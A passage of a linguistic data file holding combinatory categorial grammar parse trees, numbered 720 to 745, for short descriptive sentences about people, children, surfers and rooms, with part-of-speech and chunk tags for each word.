t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'air', 'air', 'NN', 'I-NP', 'O')))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'with', 'with', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'his', 'his', 'PRP$', 'I-NP', 'O'),
fa(n,
t(n/n, 'knees', 'knee', 'NNS', 'I-NP', 'O'),
ba(n,
t(n, 'bent', 'bent', 'NN', 'I-NP', 'O'),
conj(n\n, n,
t(conj, 'and', 'and', 'CC', 'I-NP', 'O'),
fa(n,
t(n/n, 'arms', 'arm', 'NNS', 'I-NP', 'O'),
t(n, 'spread', 'spread', 'NN', 'I-NP', 'O')))))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(720,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'person', 'person', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'with', 'with', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'green', 'green', 'JJ', 'I-NP', 'O'),
t(n, 'shirt', 'shirt', 'NN', 'I-NP', 'O'))))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/(s:adj\np), 'jumping', 'jump', 'VBG', 'I-VP', 'O'),
t(s:adj\np, 'high', 'high', 'JJ', 'I-ADVP', 'O')),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'over', 'over', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'grass', 'grass', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(721,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'cigarette', 'cigarette', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/(s:pss\np), 'being', 'be', 'VBG', 'I-VP', 'O'),
ba(s:pss\np,
t(s:pss\np, 'smoked', 'smoke', 'VBN', 'I-VP', 'O'),
fa((s:pss\np)\(s:pss\np),
t(((s:pss\np)\(s:pss\np))/np, 'by', 'by', 'IN', 'I-PP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'straw', 'straw', 'NN', 'I-NP', 'O'),
t(n, 'hat', 'hat', 'NN', 'I-NP', 'O')))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(722,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'wearing', 'wear', 'VBG', 'I-VP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'straw', 'straw', 'NN', 'I-NP', 'O'),
t(n, 'hat', 'hat', 'NN', 'I-NP', 'O'))),
conj(np\np, np,
t(conj, 'and', 'and', 'CC', 'I-NP', 'O'),
ba(np,
lx(np, n,
t(n, 'smoking', 'smoking', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/n, 'a', 'a', 'DT', 'B-NP', 'O'),
t(n, 'cigarette', 'cigarette', 'NN', 'I-NP', 'O')))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(723,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'wearing', 'wear', 'VBG', 'I-VP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'blue', 'blue', 'JJ', 'I-NP', 'O'),
t(n, 'shirt', 'shirt', 'NN', 'I-NP', 'O'))),
fa(np\np,
t((np\np)/(s:dcl\np), 'which', 'which', 'WDT', 'B-NP', 'O'),
ba(s:dcl\np,
fa(s:dcl\np,
t((s:dcl\np)/np, 'has', 'have', 'VBZ', 'I-VP', 'O'),
ba(np,
lx(np, n,
fa(n,
t(n/n, 'long', 'long', 'JJ', 'I-NP', 'O'),
t(n, 'sleeves', 'sleeve', 'NNS', 'I-NP', 'O'))),
conj(np\np, np,
t(conj, 'and', 'and', 'CC', 'I-NP', 'O'),
lx(np, n,
t(n, 'jeans', 'jeans', 'NNS', 'I-NP', 'O'))))),
conj((s:dcl\np)\(s:dcl\np), s:dcl\np,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'riding', 'ride', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'unicycle', 'unicycle', 'NN', 'I-NP', 'O'))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'down', 'down', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'street', 'street', 'NN', 'I-NP', 'O')))))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(724,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'wearing', 'wear', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'blue', 'blue', 'JJ', 'I-NP', 'O'),
fa(n,
t(n/n, 'checkered', 'checkered', 'JJ', 'I-NP', 'O'),
t(n, 'shirt', 'shirt', 'NN', 'I-NP', 'O'))))),
conj((s:ng\np)\(s:ng\np), s:ng\np,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'riding', 'ride', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'unicycle', 'unicycle', 'NN', 'I-NP', 'O'))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'street', 'street', 'NN', 'I-NP', 'O')))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(725,
rp(s:dcl,
ba(s:dcl,
lx(np, n,
fa(n,
t(n/n, 'Small', 'small', 'JJ', 'I-NP', 'O'),
t(n, 'children', 'child', 'NNS', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'climbing', 'climb', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'statue', 'statue', 'NN', 'I-NP', 'O'))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'park', 'park', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(726,
rp(s:dcl,
ba(s:dcl,
lx(np, n,
fa(n,
t(n/n, 'Two', 'two', 'CD', 'I-NP', 'O'),
t(n, 'children', 'child', 'NNS', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'playing', 'play', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'statue', 'statue', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(727,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'tower', 'tower', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/(s:pss\np), 'being', 'be', 'VBG', 'I-VP', 'O'),
ba(s:pss\np,
fa(s:pss\np,
t((s:pss\np)/(pp/np), 'looked', 'look', 'VBN', 'I-VP', 'O'),
t(pp/np, 'at', 'at', 'IN', 'I-PP', 'O')),
fa((s:pss\np)\(s:pss\np),
t(((s:pss\np)\(s:pss\np))/np, 'by', 'by', 'IN', 'B-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'blonde', 'blonde', 'JJ', 'I-NP', 'O'),
t(n, 'lady', 'lady', 'NN', 'I-NP', 'O')))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(728,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/pp, 'looking', 'look', 'VBG', 'I-VP', 'O'),
fa(pp,
t(pp/np, 'at', 'at', 'IN', 'I-PP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'view', 'view', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'of', 'of', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'city', 'city', 'NN', 'I-NP', 'O')))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(729,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
ba(s:ng\np,
t(s:ng\np, 'standing', 'stand', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'on', 'on', 'IN', 'I-PP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'top', 'top', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'of', 'of', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'rocks', 'rock', 'NNS', 'I-NP', 'O')))))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'with', 'with', 'IN', 'I-PP', 'O'),
ba(np,
lx(np, n,
t(n, 'clouds', 'cloud', 'NNS', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'behind', 'behind', 'IN', 'I-PP', 'O'),
t(np, 'them', 'they', 'PRP', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(730,
rp(s:dcl,
ba(s:dcl,
t(np, 'Somebody', 'somebody', 'DT', 'I-NP', 'O'),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'standing', 'stand', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'mountain', 'mountain', 'NN', 'I-NP', 'O'),
t(n, 'top', 'top', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(731,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'child', 'child', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/pp, 'smiling', 'smile', 'VBG', 'I-VP', 'O'),
fa(pp,
t(pp/np, 'at', 'at', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
ba(n,
t(n, 'camera', 'camera', 'NN', 'I-NP', 'O'),
conj(n\n, n,
t(conj, 'and', 'and', 'CC', 'I-NP', 'O'),
fa(n,
t(n/n, 'swimming', 'swimming', 'NN', 'I-NP', 'O'),
t(n, 'underwater', 'underwater', 'NN', 'I-NP', 'O'))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(732,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'child', 'child', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'swimming', 'swim', 'VBG', 'I-NP', 'O'),
lx(np, n,
t(n, 'underwater', 'underwater', 'NN', 'I-NP', 'O'))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'pool', 'pool', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(733,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'An', 'an', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'American', 'american', 'JJ', 'I-NP', 'O'),
t(n, 'footballer', 'footballer', 'NN', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'wearing', 'wear', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
fa(n,
ba(n/n,
t(n/n, 'red', 'red', 'JJ', 'I-NP', 'O'),
conj((n/n)\(n/n), n/n,
t(conj, 'and', 'and', 'CC', 'I-NP', 'O'),
t(n/n, 'white', 'white', 'JJ', 'I-NP', 'O'))),
t(n, 'strip', 'strip', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(734,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'football', 'football', 'NN', 'I-NP', 'O'),
t(n, 'player', 'player', 'NN', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'wearing', 'wear', 'VBG', 'I-VP', 'O'),
lx(np, n,
fa(n,
t(n/n, 'black', 'black', 'JJ', 'I-NP', 'O'),
t(n, 'armbands', 'armband', 'NNS', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(735,
rp(s:dcl,
ba(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'little', 'little', 'JJ', 'I-NP', 'O'),
t(n, 'girl', 'girl', 'NN', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
t(s:ng\np, 'swinging', 'swing', 'VBG', 'I-VP', 'O'))),
conj(s:dcl\s:dcl, s:dcl,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'standing', 'stand', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'behind', 'behind', 'IN', 'I-PP', 'O'),
t(np, 'her', 'she', 'PRP', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(736,
rp(s:dcl,
ba(s:dcl,
ba(s:dcl,
rp(np,
ba(np,
rp(np:nb,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'girl', 'girl', 'NN', 'I-NP', 'O')),
t(comma, ',', ',', ',', 'O', 'O')),
fa(np\np,
t((np\np)/(s:dcl\np), 'who', 'who', 'WP', 'I-NP', 'O'),
fa(s:dcl\np,
t((s:dcl\np)/(s:adj\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
t(s:adj\np, 'little', 'little', 'RB', 'I-ADVP', 'O')))),
t(comma, ',', ',', ',', 'O', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
t(s:ng\np, 'swinging', 'swing', 'VBG', 'I-VP', 'O'))),
conj(s:dcl\s:dcl, s:dcl,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'standing', 'stand', 'VBG', 'I-VP', 'O'),
t((s:ng\np)\(s:ng\np), 'behind', 'behind', 'RB', 'I-ADVP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(737,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'small', 'small', 'JJ', 'I-NP', 'O'),
t(n, 'child', 'child', 'NN', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'showing', 'show', 'VBG', 'I-VP', 'O'),
ba(np,
lx(np, n,
t(n, 'excitement', 'excitement', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'on', 'on', 'IN', 'I-PP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'swing', 'swing', 'NN', 'I-NP', 'O')),
lx(np\np, s:pss\np,
ba(s:pss\np,
t(s:pss\np, 'set', 'set', 'VBN', 'I-VP', 'O'),
fa((s:pss\np)\(s:pss\np),
t(((s:pss\np)\(s:pss\np))/np, 'at', 'at', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'park', 'park', 'NN', 'I-NP', 'O'))))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(738,
rp(s:dcl,
ba(s:dcl,
ba(s:dcl,
rp(np,
ba(np,
rp(np:nb,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'girl', 'girl', 'NN', 'I-NP', 'O')),
t(comma, ',', ',', ',', 'O', 'O')),
fa(np\np,
t((np\np)/(s:dcl\np), 'who', 'who', 'WP', 'I-NP', 'O'),
fa(s:dcl\np,
t((s:dcl\np)/(s:adj\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
t(s:adj\np, 'little', 'little', 'RB', 'I-ADVP', 'O')))),
t(comma, ',', ',', ',', 'O', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
t(s:ng\np, 'swinging', 'swing', 'VBG', 'I-VP', 'O'))),
conj(s:dcl\s:dcl, s:dcl,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'standing', 'stand', 'VBG', 'I-VP', 'O'),
t((s:ng\np)\(s:ng\np), 'behind', 'behind', 'RB', 'I-ADVP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(739,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'surfer', 'surfer', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'riding', 'ride', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'wave', 'wave', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(740,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
fa(s:ng\np,
bxc((s:ng\np)/np,
t((s:ng\np)/np, 'falling', 'fall', 'VBG', 'I-VP', 'O'),
t((s:ng\np)\(s:ng\np), 'off', 'off', 'RP', 'I-PRT', 'O')),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'surfboard', 'surfboard', 'NN', 'I-NP', 'O'))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'water', 'water', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(741,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'group', 'group', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'of', 'of', 'IN', 'I-PP', 'O'),
lx(np, n,
t(n, 'people', 'people', 'NNS', 'I-NP', 'O')))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'sitting', 'sit', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'dim', 'dim', 'NN', 'I-NP', 'O'),
t(n, 'room', 'room', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(742,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'group', 'group', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'of', 'of', 'IN', 'I-PP', 'O'),
lx(np, n,
t(n, 'people', 'people', 'NNS', 'I-NP', 'O')))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'sitting', 'sit', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'room', 'room', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/(s:dcl\np), 'which', 'which', 'WDT', 'B-NP', 'O'),
fa(s:dcl\np,
t((s:dcl\np)/np, 'is', 'be', 'VBZ', 'I-VP', 'O'),
lx(np, n,
t(n, 'dim', 'dim', 'NN', 'I-NP', 'O'))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(743,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
conj(np\np, np,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
ba(np,
lx(np, n,
fa(n,
t(n/n, 'two', 'two', 'CD', 'I-NP', 'O'),
t(n, 'women', 'woman', 'NNS', 'I-NP', 'O'))),
fa(np\np,
t((np\np)/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'dark', 'dark', 'JJ', 'I-NP', 'O'),
t(n, 'room', 'room', 'NN', 'I-NP', 'O'))))))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
ba(s:ng\np,
ba(s:ng\np,
t(s:ng\np, 'sitting', 'sit', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'at', 'at', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'table', 'table', 'NN', 'I-NP', 'O')))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'with', 'with', 'IN', 'I-PP', 'O'),
lx(np, n,
t(n, 'candles', 'candle', 'NNS', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(744,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'group', 'group', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'of', 'of', 'IN', 'I-PP', 'O'),
lx(np, n,
t(n, 'people', 'people', 'NNS', 'I-NP', 'O')))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'sitting', 'sit', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'dim', 'dim', 'NN', 'I-NP', 'O'),
t(n, 'room', 'room', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(745,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
conj(np\np, np,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
ba(np,
lx(np, n,
fa(n,
t(n/n, 'two', 'two', 'CD', 'I-NP', 'O'),
